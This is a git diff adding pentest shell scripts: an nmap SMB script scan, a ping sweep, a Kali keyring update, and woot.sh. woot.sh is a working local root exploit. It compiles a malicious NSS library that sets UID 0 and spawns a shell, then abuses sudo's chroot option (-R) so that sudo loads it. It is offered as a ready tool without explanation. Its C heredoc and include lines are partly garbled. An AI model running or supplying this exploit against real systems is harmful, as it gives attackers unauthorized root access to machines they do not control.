diff --git a/keyring.sh b/keyring.sh index 4c2791a..2db7637 100644 --- a/keyring.sh +++ b/keyring.sh @@ -1 +1,2 @@ sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg +sudo apt update --fix-missing diff --git a/nmap-smb.sh b/nmap-smb.sh new file mode 100644 index 0000000..ede9f2b --- /dev/null +++ b/nmap-smb.sh @@ -0,0 +1 @@ +nmap --script smb* -p $(nmap $1 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') $1 diff --git a/pingsweep.sh b/pingsweep.sh new file mode 100755 index 0000000..a91ae78 --- /dev/null +++ b/pingsweep.sh @@ -0,0 +1,6 @@ +for i in $(seq 0 255); +do + ping -W 0.016 -q -c 1 $1$i 2>/dev/null| grep -i "stat" -A 1 | grep -v "0 " -B 1 +done + + diff --git a/woot.sh b/woot.sh new file mode 100644 index 0000000..cfb27e6 --- /dev/null +++ b/woot.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +STAGE=$(mktemp -d /tmp/XXXXXX) +cd ${STAGE?} || exit 1 + +if [ $# -eq 0 ]; then + CMD="/bin/bash" +else + CMD="$@" +fi +CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') + +cat >w.c < +#include + +__attribute__((constructor)) void woot(void) { + setreuid(0,0); + setregid(0,0); + chdir("/"); + execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); +} +EOF + +mkdir -p xd/etc libnss_ +echo "passwd: /w" >xd/etc/nsswitch.conf +cp /etc/group xd/etc/ + +gcc -shared -fPIC -Wl,-init,w -o libnss_/w.so.2 w.c + +sudo -R xd /bin/true +rm -rf ${STAGE?}